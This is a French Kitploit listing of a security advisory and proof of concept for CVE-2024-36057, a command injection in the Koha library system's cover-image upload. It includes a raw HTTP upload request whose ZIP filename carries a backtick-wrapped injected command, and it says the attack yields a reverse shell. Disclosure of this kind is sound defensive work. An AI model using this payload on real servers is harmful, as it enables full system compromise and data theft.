Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-36057 — Avis et preuve de concept pour CVE-2024-36057, une injection de commandes système authentifiée dans le logiciel de bibliothèque Koha, démontrant l'exécution arbitraire de commandes via des noms de fichiers ZIP spécialement conçus. | Kitploit
Outils/GitHubGitHub/hacklantic/cve-2024-36057
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubhacklantic/cve-2024-36057

CVE-2024-36057

Avis et preuve de concept pour CVE-2024-36057, une injection de commandes système authentifiée dans le logiciel de bibliothèque Koha, démontrant l'exécution arbitraire de commandes via des noms de fichiers ZIP spécialement conçus.

Voir le dépôt
15il y a 2 joursPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-36057 - Logiciel de bibliothèque Koha < 23.05.10 - Injection de commande OS

ID CVE : CVE-2024-36057
Produit : Logiciel de bibliothèque Koha
Type de vulnérabilité : Injection de commande OS (CWE-78)
Score CVSS : 9.8 (Critique)
Versions affectées : Antérieures à 23.05.10
Crédits : Karolis Narvilas


Description

Koha est un système de gestion de bibliothèque intégré open-source. Une vulnérabilité d'injection de commande existe dans la fonctionnalité de téléchargement d'image de couverture à l'emplacement tools/upload-cover-image.pl. L'application utilise qx/unzip $filename -d $dirname/ pour extraire les archives ZIP téléchargées sans assainir le paramètre filename.

Un utilisateur authentifié disposant de privilèges élevés peut créer un fichier ZIP avec un nom de fichier malveillant contenant des caractères backtick pour injecter des commandes shell arbitraires, qui sont exécutées côté serveur lorsque l'utilisateur clique sur « Process Images ».

Impact : Un attaquant distant authentifié peut exploiter CVE-2024-36057 pour exécuter des commandes OS arbitraires sur le serveur sous-jacent, entraînant une compromission totale du système, une exfiltration de données et la mise en place de portes dérobées persistantes ou de reverse shells.


Preuve de concept (PoC)

  1. Connectez-vous à Koha en tant qu'utilisateur disposant de privilèges élevés.
  2. Accédez à : https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl
  3. Téléchargez un fichier ZIP normal et, à l'aide d'un proxy d'interception tel que Burp Suite, modifiez le nom de fichier comme indiqué ci-dessous :

Requête :

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed

<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

  1. Une fois le fichier ZIP téléchargé avec succès, cliquez sur « Process Images ».
  2. La commande injectée entre les backticks est exécutée côté serveur. Dans cet exemple, un reverse shell est établi sur la machine cible.

Reverse Shell PoC


Références

  • MITRE - CVE-2024-36057
  • Hacklantic
Télécharger l’outil